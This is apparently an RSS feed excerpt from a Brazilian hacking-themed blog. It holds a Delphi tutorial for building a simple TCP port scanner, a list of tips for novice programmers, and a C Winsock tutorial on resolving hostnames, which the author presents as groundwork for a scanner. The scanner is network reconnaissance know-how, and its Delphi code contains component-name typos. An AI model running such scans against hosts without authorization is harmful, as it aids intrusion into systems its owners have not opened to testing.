<p>Para a criação deste tipo de Port Scanner, o TCP Full, utilizaremos o componente chamado TTCPClient, que fica localizado na paleta Internet. É com este componente que será possível se conectar com um endereço especificado nas portas pré-definidas para a verificação de seus estados (aberta ou fechada).</p>
<p>No componente TTCPClient temos as seguintes propriedades que são as fundamentais para o entendimento do funcionamento do nosso port scanner. As propriedades de nosso interesse são:<br />
<code><br />
</code></p>
<ul>
<li><code> RemoteHost = Esta propriedade define o endereço do servidor que se deseja conectar.</code></li>
<li><code> RemotePort = A porta que se deseja conectar. Esta porta poderá ser alterada diversas vezes durante a execução do Port Scanner, pois é justamente esta capacidade que torna o programa funcional.</code></li>
<li><code> Connect = Conecta o TTCPClient com o servidor definido na propriedade RemoteHost com a porta definida em RemotePort.</code></li>
<li><code> Disconnect = Desconecta o TTCPClient do servidor.</code></li>
</ul>
<p>Com estas propriedades já podemos iniciar a construção do nosso programa.</p>
<h2>Criando a Interface do Port Scanner</h2>
<p>Inicie o Delphi e crie um novo projeto chamado psc.dpr (a unit você poderá salvar como unit_psc.pas). No formulário inicial que abrir, mude as seguintes propriedades do Form1 no ObjectInspector como seguem abaixo:</p>
<ul>
<li><code>Caption = Port Scaner v1.0b<br />
</code></li>
<li><code>BorderStyle = bsToolWindow<br />
</code></li>
<li><code>WindowState = Normal</code></li>
</ul>
<p>Após estas modificações o antigo Form1 ficará desta forma:</p>
<p style="text-align: center;"><img class="aligncenter" src="http://img228.imageshack.us/img228/6839/ps01ss0.jpg" alt="www.invasao.com.br" /></p>
<p style="text-align: center;">Post Scanner Fig.1 &#8211; form1 do Port Scanner</p>
<p style="text-align: left;">
<p>Agora, neste nosso formulário, adicionaremos os seguintes componentes que serão os responsáveis pela interação do Port Scanner com o usuário.</p>
<blockquote><p><code>Quantidade Tipo<br />
5 TLabel<br />
1 TEdit<br />
2 TSpinEdit<br />
1 TMemo<br />
1 TTCPClient<br />
2 TButton</code></p></blockquote>
<p>Após a adição destes componentes, altere as propriedades dos mesmos para as que seguem abaixo:</p>
<blockquote><p><code>Componente Propriedade Conteúdo<br />
Tlabel1 Caption Servidor<br />
Tlabel2 Caption Porta Inicial<br />
Tlabel3 Caption Porta Final<br />
Tlabel4 Caption Verificando a porta:<br />
Tlabel5 Caption 0<br />
TspinEdit1 Name Inicio<br />
TspinEdit2 Name Fim<br />
Tmemo1 Name Listagem<br />
Tbutton1 Caption Iniciar<br />
Tbutton2 Caption Parar<br />
Tedit1 Text endereco</code></p></blockquote>
<p>Com estas modificações, arrume os componentes no formulário para que fiquem mais ou menos com esta Interface:</p>
<p style="text-align: center;"><img src="http://img57.imageshack.us/img57/8671/ps02bw3.jpg" alt="www.invasao.com.br" /><br />
Port Scanner 2 &#8211; Fig.2 &#8211; Nova form1 do Port Scanner</p>
<p>Neste ponto, falta muito pouco para o nosso Port Scanner ficar pronto. Temos agora que programar o funcionamento do nosso programa para que ele seja funcional e corresponda às nossas expectativas.</p>
<h2>Programando os componentes</h2>
<p>Nesta parte da nossa criação iremos adicionar programação aos componentes utilizados no programa para que este realmente funcione. Iremos começar da seguinte maneira:</p>
<ul>
<li>Vamos cria uma variável global que será a responsável por parar a execução da verificação no servidor remoto quando o usuário clicar no botão Parar.</li>
<li>No código fonte do programa vamos adicionar, na sessão correspondente as variáveis globais, a nossa variável Stop.</li>
</ul>
<blockquote><p><code>...<br />
Var<br />
Form1: TForm1;<br />
Stop: integer;  // a nossa variável entra aqui!</code></p>
<p><code>Implementation<br />
...</code></p></blockquote>
<p>Agora iremos inserir a programação no nosso botão correspondente ao início da varredura de portas no servidor remoto, o nosso botão Iniciar. Dê um duplo clique neste botão para inserirmos o código responsável pelo seu funcionamento.</p>
<p>O código responsável é o que segue abaixo:</p>
<blockquote><p><code>Var i : integer;<br />
Begin<br />
Try</code></p>
<p><code>Listagem.clear;<br />
Stop:= 0 ;<br />
TCPClient1.remotehost:=edit1.text;<br />
For I:= inicio.value to fim.value do<br />
Begin<br />
If Stop = 1 then break;</code></p>
<p><code>Label5.caption:=inttostr(i);<br />
Application.ProcessMessages;<br />
TCPCLiente1.remoteport:= inttostr(i);<br />
TCPClient.Active:=true;</code></p>
<p><code>If TCPClient1.connect then<br />
Listagem.lines.add('A Porta ['+ inttostr(i)+ '] está aberta.');<br />
TCPClient1.disconnect;<br />
End;</code><br />
<code><br />
Except<br />
On E:Exception do Begin<br />
Listagem.lines.add('Erro: ' + E.Message);<br />
End;<br />
End;</code><br />
<code><br />
Listagem.lines.add('Verificação Terminada.');</code></p>
<p><code>End;</code></p></blockquote>
<p>Feita a adição do código responsável pelo funcionamento do nosso botão Iniciar, resta-nos agora adicionar o código relativo ao botão Parar, para que depois possamos analisar as linhas de código do nosso programa Port Scanner.</p>
<p>Para adicionar a programação ao nosso botão Parar, dê um duplo clique no mesmo e adicione o código abaixo:</p>
<blockquote><p><code>Stop:=1;</code></p></blockquote>
<p>Pronto! A codificação do nosso programa está terminada e ele já está pronto para ser executado. Mas, antes disto, vamos analisar a programação.</p>
<h2>Entendendo o Código</h2>
<p>Como podemos ver, foi bem simples a construção da interface do programa assim como a adição de seu código-fonte. Vamos agora entender as linhas de código adicionadas e as suas respectivas funções.</p>
<p>Na parte de programação referente ao nosso botão Iniciar temos inicialmente a linha:</p>
<blockquote><p><code>Var i: Integer;</code></p></blockquote>
<p>Esta linha corresponde à criação da variável i, que será a responsável por auxiliar no loop For para a contagem das portas a serem verificadas.</p>
<p>A seguir, na linha:</p>
<blockquote><p><code>Listagem.clear;</code></p></blockquote>
<p>Limpamos o nosso Tmemo1.</p>
<p>Na linha:</p>
<blockquote><p><code>Stop:=0;</code></p></blockquote>
<p>Iniciamos o valor desta variável para 0, pois desta forma o programa continuará a varredura através das portas selecionadas pelo usuário até que o loop For acabe ou que o usuário pressione o nosso botão Parar.</p>
<p>Em</p>
<blockquote><p><code>TCPClient1.Remotehost:=Edit1.text;</code></p></blockquote>
<p>Repassamos para a propriedade RemoteHost do nosso TTCPClient o conteúdo do componente Edit1.text, que será o servidor repassado pelo usuário.</p>
<p>Temos então o início do loop For baseado nas portas Inicial e Final escolhidas pelo usuário nos componentes TspinEdit.</p>
<blockquote><p><code>For i:= inicio.value to fim.value do</code></p></blockquote>
<p>A seguir, verifica-se se o botão Parar foi acionado, solicitando o cancelamento da verificação (loop).</p>
<blockquote><p><code>If Stop=1 then break;</code></p></blockquote>
<p>Agora, exibimos na Interface a porta que está sendo verificada no momento</p>
<blockquote><p><code>Label5.caption:=inttostr(i);</code></p></blockquote>
<p>Pedimos ao sistema operacional que processe as informações do programa, evitando assim que o mesmo não tenha o efeito de congelamento evidente.</p>
<blockquote><p><code>Application.ProcessMessages;</code></p></blockquote>
<p>Agora, nas linhas a seguir, definimos para a propriedade RemotePort o nosso TCPClient1 qual porta devera ser verificada no momento, depois ativamos o nosso TCPClient1 e, em seguida, verificamos se foi obtido sucesso.Caso o sucesso seja obtido, adicionamos no nosso Memo1 uma linha contendo a porta que foi encontrada com o estado de aberta. Depois, independente do estado da porta, pedimos sua desconexão.</p>
<blockquote><p><code>TCPCLient1.remoteport:= inttostr(i);<br />
TCPClient.Active:=true;</code></p>
<p><code>If TCPClient1.connect then<br />
Listagem.lines.add('A Porta ['+ inttostr(i)+ '] está aberta.');<br />
TCPClient1.disconnect;<br />
End;</code></p></blockquote>
<p>Em seguida, terminamos o loop e tratamos todas as exceções que possam ocorrer entre os blocos protegidos try.</p>
<blockquote><p><code>Except<br />
On E:Exception do Begin<br />
Listagem.lines.add('Erro: ' + E.Message);<br />
End;<br />
End;</code></p></blockquote>
<p>Por fim, escrevemos no nosso Memo1 a mensagem de que a verificação foi terminada e finalizamos a execução do programa.</p>
<blockquote><p><code> Listagem.lines.add('Verificação Terminada.');</code></p>
<p><code>End;</code></p></blockquote>
<p>Para concluir, no nosso botão Parar temos a linha de código:</p>
<blockquote><p><code>Stop:=1;</code></p></blockquote>
<p>Esta linha é responsável por colocar o valor 1 na variável Stop, para que quando o usuário clique no botão Parar, o loop de verificação das portas pare graças ao trecho de código do botão Iniciar abaixo:</p>
<blockquote><p><code>If Stop=1 then Break;</code></p></blockquote>
<h2>Concluindo</h2>
<p>Bem pessoal, agora é só salvar todo o projeto e executá-lo. Faça testes em algum servidor que você tenha acesso e/ou saiba que não irá prejudicar ninguém e muito menos incomodar. Vale relembrar que, se deu tudo certo com o seu Port Scanner, você tem uma ferramenta poderosíssima nas mãos e cabe a você usá-la de forma segura e principalmente com intuitos educacionais.</p>
<h2>Sobre o Autor</h2>
<p>T. J. Nogueira é escritor da Ciência Moderna, editora de livros de informática. Já tem dois livros publicados: Invasão de Redes: Ataques e Defesas, como os Hackers utilizam a linguagem de programação C para efetuar invasões via Internet, e Tudo Sobre buffer overflow. No momento está terminando seu terceiro livro, Como tornar o Windows XP seguro: passo a passo e ainda encontra tempo para trabalhar em mais três livros e de elaborar artigos aqui para a Aldeia</p>
<p>Meu amigo TJ, aldeense de carteirinha, é fanático por leitura. É dele a frase &#8220;o que eu mais quero é simplesmente que as pessoas leiam e leiam e leiam cada vez mais sobre qualquer tipo de coisa, desde de budismo até engenharia reversa&#8221;. Este é seu primeiro artigo publicado aqui na Aldeia, mas preparem-se&#8230; já tem coisa nova saindo do forno e é sobre Gerenciadores Remotos!</p>
<p>Da minha parte, quero dar as boas vindas ao nosso mais novo colaborador e tornar públicos os meus mais sinceros agradecimentos. Além disso, como de costume, um grande abraço da vovó para todos, especialmente para o TJ.</p>
<p>Abraço!<br />
-bRx-</p>
<p><a href="http://www.forum-invasao.com.br/novo/viewtopic.php?f=140&amp;t=8553923">Comente esse Tutorial no Fórum!</a></p>
<div id="fb-like" style=""><iframe src="http://www.facebook.com/plugins/like.php?href=http://www.invasao.com.br/2008/12/12/delphi-port-scaner-super-simples/&amp;layout=standard&amp;show_faces=true&amp;width=600&amp;action=like&amp;font=&amp;colorscheme=light&amp;locale=pt_BR" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:600px; height:30px"></iframe></div>]]></content:encoded>
			<wfw:commentRss>http://www.invasao.com.br/2008/12/12/delphi-port-scaner-super-simples/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dez dicas para iniciantes em Programação</title>
		<link>http://www.invasao.com.br/2008/12/12/dez-dicas-para-iniciantes-em-programacao/</link>
		<comments>http://www.invasao.com.br/2008/12/12/dez-dicas-para-iniciantes-em-programacao/#comments</comments>
		<pubDate>Fri, 12 Dec 2008 13:39:04 +0000</pubDate>
		<dc:creator>Fuctura Tecnologia</dc:creator>
				<category><![CDATA[Programação]]></category>

		<guid isPermaLink="false">http://www.invasao.com.br/blog/?p=844</guid>
		<description><![CDATA[1º &#8211; Todo programador tem que saber lógica de programação, não existe programador sem lógica. 2º &#8211; Ninguém quer te ajudar, a não ser que a pessoa que você pediu ajuda ganhe algo com isso. As pessoas já tem problemas demais para ficar resolvendo os seus. 3º &#8211; Você sempre será um estudante. Sempre tem algo à aprender. 4º &#8211; Você não é pior que ninguém, e ninguém é melhor que você. Todos nos somos inteligentes, ninguém é &#8220;burro&#8221;. Apenas [...]]]></description>
			<content:encoded><![CDATA[<div id="fb-like" style=""><iframe src="http://www.facebook.com/plugins/like.php?href=http://www.invasao.com.br/2008/12/12/dez-dicas-para-iniciantes-em-programacao/&amp;layout=standard&amp;show_faces=true&amp;width=600&amp;action=like&amp;font=&amp;colorscheme=light&amp;locale=pt_BR" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:600px; height:30px"></iframe></div><p><strong>1º</strong> &#8211; Todo programador tem que saber lógica de programação, não existe programador sem lógica.</p>
<p><strong>2º</strong> &#8211; Ninguém quer te ajudar, a não ser que a pessoa que você pediu ajuda ganhe algo com isso. As pessoas já tem problemas demais para ficar resolvendo os seus.</p>
<p><strong>3º</strong> &#8211; Você sempre será um estudante. Sempre tem algo à aprender.</p>
<p><strong>4º</strong> &#8211; Você não é pior que ninguém, e ninguém é melhor que você. Todos nos somos inteligentes, ninguém é &#8220;burro&#8221;. Apenas algumas pessoas são mais estudadas que você.</p>
<p><strong>5º</strong> &#8211; Você não tem que gostar de ler, mais também não pode odiar. Você pode não gostar de ler um livro com tema amoroso, ou dramático, mas um livro sobre programação ( Que é o que você estuda ) você tem que gostar. Se não gostar&#8230; porque está tentando aprender à programar?</p>
<p><strong>6º</strong> &#8211; Qual é seu objetivo? Aprender à programar ou criar um keylogger? Ou um Trojan ? Ou um cheat para trapacear um jogo? Se quer mesmo aprender a programar dedique à aprender e não à seguir tutoriais com códigos prontos e copiar e colar sem saber o que faz.</p>
<p><strong>7º</strong> &#8211; Se você acha que está muito difícil aprender a programar, calma, descanse depois volte aos estudos e leia novamente, tente entender. Se você acha que não consegue mesmo, tire isso da sua cabeça, em si já é uma barreira.</p>
<p><strong>8º</strong> &#8211; Comece do começo, pra que vai tentar aprender uma coisa avançada se você não sabe nem o básico? Um bom exemplo para isso é a escola, pra que um professor vai ensinar figuras de linguagem aos alunos se eles não sabem nem ler? Tentar aprender pelo avançado de uma vez é perda de tempo.</p>
<p><strong>9º</strong> &#8211; De início escolha uma linguagem mais simples. Antes de estudar linguagens de baixo e alto nível, eu recomendo você estudar HTML para você se familiarizar com códigos. Logo, recomendo Visual Basic, Pascal, Python, uma destas linguagens para início.</p>
<p><strong>10º</strong> &#8211; Pesquise, Raciocine !! Use seu cérebro, não peça programas prontos onde você só se dá o trabalho de colocar seus créditos.</p>
<p>Abraços e sucesso nos estudos,<br />
Felipe P. Coutinho.</p>
<p><a href="http://www.forum-invasao.com.br/novo/viewtopic.php?f=29&amp;t=8554197">Comente essas dicas no Fórum</a></p>
<div id="fb-like" style=""><iframe src="http://www.facebook.com/plugins/like.php?href=http://www.invasao.com.br/2008/12/12/dez-dicas-para-iniciantes-em-programacao/&amp;layout=standard&amp;show_faces=true&amp;width=600&amp;action=like&amp;font=&amp;colorscheme=light&amp;locale=pt_BR" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:600px; height:30px"></iframe></div>]]></content:encoded>
			<wfw:commentRss>http://www.invasao.com.br/2008/12/12/dez-dicas-para-iniciantes-em-programacao/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tutorial de Winsocket em C (Parte II)</title>
		<link>http://www.invasao.com.br/2008/07/13/tutorial-de-winsocket-em-c-parte-ii/</link>
		<comments>http://www.invasao.com.br/2008/07/13/tutorial-de-winsocket-em-c-parte-ii/#comments</comments>
		<pubDate>Sun, 13 Jul 2008 22:13:44 +0000</pubDate>
		<dc:creator>Fuctura Tecnologia</dc:creator>
				<category><![CDATA[Programação]]></category>

		<guid isPermaLink="false">http://www.invasao.com.br/blog/?p=503</guid>
		<description><![CDATA[Ao longo de aproximadamente 7 matérias irei mostrar para vocês a funcionalidade de sockets no windows com a linguagem C. Será necessário um conhecimento considerável em C para o uso desta matéria. Usaremos o DEV C++, disponível no site do bloodshed, para compilar todos os exemplos aqui expostos. Início: Bem, como vimos no tutorial passado, montamos um programa que vê se a porta 80 do IP da UOL está aberto. Hoje agente verá uma função que permitirá que digitemos o [...]]]></description>
			<content:encoded><![CDATA[<div id="fb-like" style=""><iframe src="http://www.facebook.com/plugins/like.php?href=http://www.invasao.com.br/2008/07/13/tutorial-de-winsocket-em-c-parte-ii/&amp;layout=standard&amp;show_faces=true&amp;width=600&amp;action=like&amp;font=&amp;colorscheme=light&amp;locale=pt_BR" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:600px; height:30px"></iframe></div><p><em>Ao longo de aproximadamente 7 matérias irei mostrar para vocês a  funcionalidade de sockets no windows com a <strong>linguagem C</strong>. Será  necessário um conhecimento considerável em C para o uso desta matéria. Usaremos  o DEV C++, disponível no site do<a href="http://www.bloodshed.net/download.html" target="_blank"> bloodshed</a>, para compilar todos os exemplos aqui expostos. </em></p>
<p><strong>Início:<br />
</strong>Bem, como vimos no tutorial passado, montamos um  programa que vê se a porta 80 do IP da UOL está aberto. Hoje agente verá uma  função que permitirá que digitemos o endereço e ele converterá para IP. A função  gethostbyname(). Isso irá aumentar a funcionalidade do nosso scanner da matéria  passada. Então proponho fazermos um pequeno programa que dirá o IP de um  endereço qualquer. Após entendermos este exemplo, será fácil implementar isso no  scanner.</p>
<p align="center"><strong>gethostbyname()</strong></p>
<p>Está função nos permite digitar um endereço e ele retornará o endereço  IP. Ela está descrita da seguinte forma na biblioteca Winsock.h:</p>
<p><strong>DECLARE_STDCALL_P(struct hostent *) gethostbyname(const char*); </strong></p>
<p>Logo, para usarmos esta função, temos que entender da estrutura hostent (que  é onde ela está inserida). Então vamos analizar a estrutura hostent de acordo  com a biblioteca winsock.h.<br />
struct hostent {<br />
char *h_name;<br />
char  **h_aliases;<br />
short h_addrtype;<br />
short  h_length;<br />
char **h_addr_list;<br />
#define h_addr  h_addr_list[0]<br />
};<br />
<strong>Vamos lá então: </strong><br />
- h_name &#8211; Nome do domínio do host<br />
- h_aliases &#8211; Lista de nomes alternativos que o site pode ter<br />
-  h_addrtype &#8211; O tipo de endereço que está retirando na conexão. Vimos que pode  ser AF_INET, &#8211; AF_UNIX, AF_ISSO e AF_NS.<br />
- h_lenght &#8211; Tamanho, em bytes, do  endereço<br />
- h_addr_list &#8211; Um array que termina em zero do endereço de rede do  host.</p>
<p>Bem, vamos então montar um pequeno exemplo que agente digite o endereço do  site e ele nos retorna o IP.<br />
#include &lt;stdio.h&gt;<br />
#include &lt;winsock.h&gt;<br />
int main(int argc, char *argv[])<br />
{</p>
<p>WSADATA wsaData;<br />
WSAStartup(MAKEWORD(1, 1), &amp;wsaData);</p>
<p>struct hostent *ip; //definimos a variável IP como sendo da estrutua  hostent</p>
<p>if(argc &lt; 2) {<br />
printf(&#8220;Usage: %s  &lt;hostname&gt;\n&#8221;,argv[0]);<br />
printf(&#8220;Made by  Mago__\n&#8221;);<br />
exit(1);<br />
}</p>
<p>if ((ip=gethostbyname(argv[1])) == NULL) { //aqui testamos se o host  existe<br />
perror(&#8220;gethostbyname&#8221;);<br />
}</p>
<p>printf(&#8220;Hostname: %s \n&#8221;,ip-&gt;h_name); // Mostra o hostname<br />
printf(&#8220;IP  Address: %s \n&#8221;,inet_ntoa(*((struct in_addr *)ip-&gt;h_addr))); //Mostra o  IP</p>
<p>WSACleanup();<br />
}<br />
Aqui estra uma coisa muito importante que deve ser  explicada. Note que para mostrar o host nós tivemos que fazer o ip apontar para  o h_name (que nos mostra o host) e para mostrar o ip tivemos que apontar para  h_addr (que nos mostra o IP). Porém tivemos que usar a função inet_ntoa(),  porque? Lembre-se que o endereço virá em números de redes, ilegíveis para nós.  Então usamos a função inet_ntoa() que faz a conversão de Network-to-ASCII, ou  seja, faz a conversão de números de Rede para ASCII (que é legível). Esta função  está descrita da seguinte forma no Winsock.h:</p>
<p><strong>DECLARE_STDCALL_P(char *) inet_ntoa(struct in_addr); </strong></p>
<p>Logo, para usarmos o inet_ntoa() devemos tem um struct in_addr dentro.<br />
Bem pessoal, com o que aprendemos hoje, podemos fazer um portscanner  completo. Porém para incrementar mais, próxima matéria ensinarei sobre a função  getservbyport(). Abraços a todos e até a próxima matéria.</p>
<div id="fb-like" style=""><iframe src="http://www.facebook.com/plugins/like.php?href=http://www.invasao.com.br/2008/07/13/tutorial-de-winsocket-em-c-parte-ii/&amp;layout=standard&amp;show_faces=true&amp;width=600&amp;action=like&amp;font=&amp;colorscheme=light&amp;locale=pt_BR" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:600px; height:30px"></iframe></div>]]></content:encoded>
			<wfw:commentRss>http://www.invasao.com.br/2008/07/13/tutorial-de-winsocket-em-c-parte-ii/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

